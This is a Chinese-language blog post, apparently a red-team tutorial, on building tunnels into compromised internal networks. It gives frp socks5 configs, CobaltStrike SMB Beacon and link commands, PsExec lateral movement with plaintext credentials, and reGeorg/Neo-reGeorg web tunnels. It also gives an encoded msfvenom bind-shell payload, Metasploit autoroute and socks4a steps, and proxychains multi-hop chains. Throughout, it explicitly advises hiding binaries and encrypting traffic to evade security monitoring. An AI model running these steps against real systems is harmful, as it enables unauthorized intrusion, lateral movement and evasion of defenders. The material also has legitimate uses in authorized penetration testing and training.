首页 > 其他分享 >实战中内网穿透的打法

实战中内网穿透的打法

时间:2024-05-12 13:54:20浏览次数:26  
标签:metasploit multi 代理 打法 穿透 Beacon 中内网 socks msf5

前言

在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。

以下为自我总结“实战中内网穿透的打法”思维导图:

目标出网(socks代理)

这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。


Frp(socks5)
Frp服务端配置文件:

1 | [common]
2 | bind_port = 8080Frp客户端配置文件:

1 | [common]
2 | server_addr = xx.xx.xx.xx
3 | server_port = 8080
4 | #服务端口使用Web常见端口
5 | 
6 | [socks5]
7 | type = tcp
8 | remote_port = 8088
9 | plugin = socks5
10 | use_encryption = true 
11 | use_compression = true
12 | #socks5口令
13 | #plugin_user = SuperMan
14 | #plugin_passwd = XpO2McWe6nj3此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。

use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]

use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

use_encryption = true 、use_compression = true 必须放在相关协议下面。
frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽。


加密压缩的对比
这是frp客户端配置文件中未使用encryption与compression功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。

使用encryption与compression功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备。


CobaltStrike (socks4a)
到已控目标机的Beacon下将socks代理开启。

1 | beacon > socks 1024 #端口根据VPS实际情况进行设置

菜单栏中的View > Proxy Pivots,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。


上线不出网机器
这是link链接,只要主链路(出网机Beacon)掉线,均掉!


SMB Beacon
官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。

运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。

可在主Beacon上用link host链接或unlink host断开。

1 | beacon> link 192.168.144.155
2 | beacon> unlink 192.168.144.155

Link Listener
在已上线的主机创建Listener。

导出该类型Listener对应的可执行文件或dll等。

选择刚建立的Listener。

上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)
在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

1 | beacon> shell C:WINDOWSTempPsExec.exe -accepteula \192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:WINDOWSTempbeacon.exe

1 | beacon> shell netstat -ano |findstr 4444


SSH Login
1 | beacon> ssh 192.168.144.174:22 root admin
2 | beacon> ssh 192.168.144.203:22 root admin
在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

目标不出网(http代理)

目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。


reGeorg (socks5)
1 | python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。


Neo-reGeorg (加密)
1 | python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg后,数据包已被加密传输。


冰蝎 (开socks5)
冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。

虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。


reduh (单端口转发)
当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境:

这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。
下面把具体的流程走一遍:

1 | sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
2 | 
3 | --platform       <platform>       指定payload的目标平台
4 | -e, --encoder    <encoder>        指定需要使用的编码器
5 | -i, --iterations <count>          指定payload的编码次数
上传payload到目标服务器,并执行。

metasploit是监听转发后的地址与端口。

1 | sudo msfconsole -q
2 | msf5 > use exploit/multi/handler
3 | msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp
4 | msf5 exploit(multi/handler) > set rhost 127.0.0.1
5 | msf5 exploit(multi/handler) > set lport 5353
6 | msf5 exploit(multi/handler) > run -j
reDuhServer传到目标机后,使用reDuhClient进行连接,并将反弹的端口转本地后,

1 | java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx
2 | 
3 | telnet 127.0.0.1 1010 
4 | >>[createTunnel]5353:127.0.0.1:53
可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。

1 | msf5 exploit(multi/handler) > use auxiliary/server/socks4a
2 | msf5 auxiliary(server/socks4a) > set srvport 10080
3 | msf5 auxiliary(server/socks4a) > run -j

注意
为什么payload要用shell,而不用meterpreter。meterpreter是高级的payload,传输中占用大量数据包,这种单端口转发上线metasploit,本就不是很稳定,meterpreter会使“小水管”更加不稳定!

隔离网络(多级代理)

内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理…


frp
现拿到一台双网卡内网服务器权限,可以用frp建立通道,这台服务器既是服务端也是客户端。


proxifier
用frp建立好后,结合proxifier添加两条代理:外网socks、内网socks,之后创建代理链 。(注意代理顺序)

设置代理规则,选择对应代理。

二层代理成功,内网隔离机445探测开放。


Proxychains
命令行代理神器proxychains,设置二层代理、socks口令。(注意代理顺序)

联动metasploit,ms17_010探测,可以看到代理链的传输过程。


Metasploit
针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉!

在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。

1 | msf5 exploit(multi/handler) > sessions 1
2 | meterpreter > run get_local_subnets
3 | meterpreter > run autoroute -p
4 | meterpreter > run post/multi/manage/autoroute
5 | meterpreter > run autoroute -p
6 | meterpreter > background
上述是在meterpreter权限中添加,或当知道目标路由表信息时,可直接添加。

1 | msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1
2 | msf5 exploit(multi/handler) > route
可在metasploit继续渗透,或开启一个socks,挂载其他工具上多层穿透。

1 | msf5 exploit(multi/handler) > use auxiliary/server/socks4a
2 | msf5 auxiliary(server/socks4a) > set srvport 10080
3 | msf5 auxiliary(server/socks4a) > run -j

总结

内网穿透时,代理需要稳定、隐蔽,思路更需要不断的拓宽。毕竟在实战中,多么复杂的环境都会遇到,更多的是总结不同打法,进行落地,最终将内网的“大门”打开!参考原文链接: https://www.secshi.com/21519.html

标签:metasploit,multi,代理,打法,穿透,Beacon,中内网,socks,msf5
From: https://www.cnblogs.com/backlion/p/18187739

相关文章

  • 通过内网穿透实现外网访问苍穹服务
    目录内网穿透使用教程外网访问苍穹服务内网穿透个人使用的内网穿透工具是OpenFrp使用教程注册网站进入主页后点击创建隧道,选一个能用的节点,填写具体参数。除了图中的参数外,其他参数随机或者留空就行。如图,我的苍穹服务地址是127.0.0.1,端口是8080在个人中心进行实名......
  • 如何通过`HTTP2`实现TCP的内网穿透?
    可能有人很疑惑应用层转发传输层?,为什么会有这样的需求啊???哈哈技术无所不用其极,由于一些场景下,对于一个服务器存在某一个内部网站中,但是对于这个服务器它没有访问外网的权限,虽然也可以申请端口访问外部指定的ip+端口,但是对于访问服务内部的TCP的时候我们就会发现忘记申请了!这个时......
  • 群晖内网穿透+域名访问+PLEX APP直接访问
    本文主要记录自身PLEX通过APP访问的记录,也算是一个教程。另感谢各教程贡献者,详见参考。本教程重点在内网穿透的域名访问内网资源。适用人员针对无公网IP,同时PLEX安装在群晖或其它NAS上的,希望在外网使用pelx应用访问家中资源的人(其它系统也类似,原理相同)前期准备购买云服......
  • 缓存击穿,缓存穿透,缓存雪崩
    缓存击穿:是指缓存中没有但是数据库中有的数据(一般是缓存时间到期),这时由于并发用户特别多,同时读取缓存没有读到数据,又同时去数据库中取数据,引起数据库压力瞬间增大,造成过大压力。和缓存雪崩不同的是,缓存击穿指并发查询同一条数据,缓存雪崩是不同数据都过期了,很多数据都查询不到,从......
  • 使用自己云服务器frp内网穿透记录
     1.前提是自己现有云服务器已经 2.下载对应的版本,我使用的是052.3下载地址https://github.com/fatedier/frp/releases需要注意:下载的linux版本是服务端。windows是客户端后续需要修改对用的配置文件 3.解压linux 3.1编辑配置文件vifrps.toml bind......
  • redis系列02---缓存过期、穿透、击穿、雪崩
    一、缓存过期问题产生的原由:内存空间有限,给缓存设置过期时间,但有些键值运气比较好,每次都没有被我的随机算法选中,每次都能幸免于难,这可不行,这些长时间过期的数据一直霸占着不少的内存空间!解决方案:redis提供8种策略供应用程序选择,用于我遇到内存不足时该如何决策:*noeviction:返......
  • 利用frp+Linux+Windows实现内网穿透
    准备工作1、一台拥有公网IP的服务器(本文档使用:Ubuntu22.04.2LTS(GNU/Linux5.15.0-76-genericx86_64))2、frp:Linux服务端+Windows客户端安装部署1、下载地址:https://github.com/fatedier/frp/releases一、服务端部署1.创建目录mkdir-p/usr/local/etc/frp上传安装包fr......
  • Redis缓存穿透,击穿和雪崩
    缓存穿透缓存穿透是指查询一个一定不存在的数据,如果从存储层查不到数据则不写入缓存,这将导致这个不存在的数据每次请求都要到DB去查询,可能导致DB挂掉。这种情况大概率是遭到了攻击。解决方案的话,我们通常都会用布隆过滤器来解决它。布隆过滤器主要是用于检索一个元素是否在......
  • 最近对接通联支付第三方平台,支付成功后要回调方法告知支付是否成功,通知url必须为直接
    最近公司要做PC端,微信小程序端支付,对接的第三方是通联支付,因为需要用到回调方法,所以想到了natapp内网穿透的方法给通联支付提供回调的地址访问我本机项目第一步:打开natapp,注册账号https://natapp.cn/新手的话,需要购买免费隧道,不用花钱 我几年前已经申请账号也购买免费......
  • MVCC学习圣经:一文穿透MySQL MVCC,吊打面试官
    文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录博客园版为您奉上珍贵的学习资源:免费赠送:《尼恩Java面试宝典》持续更新+史上最全+面试必备2000页+面试必备+大厂必备+涨薪必备免费赠送:《尼恩技术圣经+高并发系列PDF》,帮你实现技术自由,完成职业升级,薪......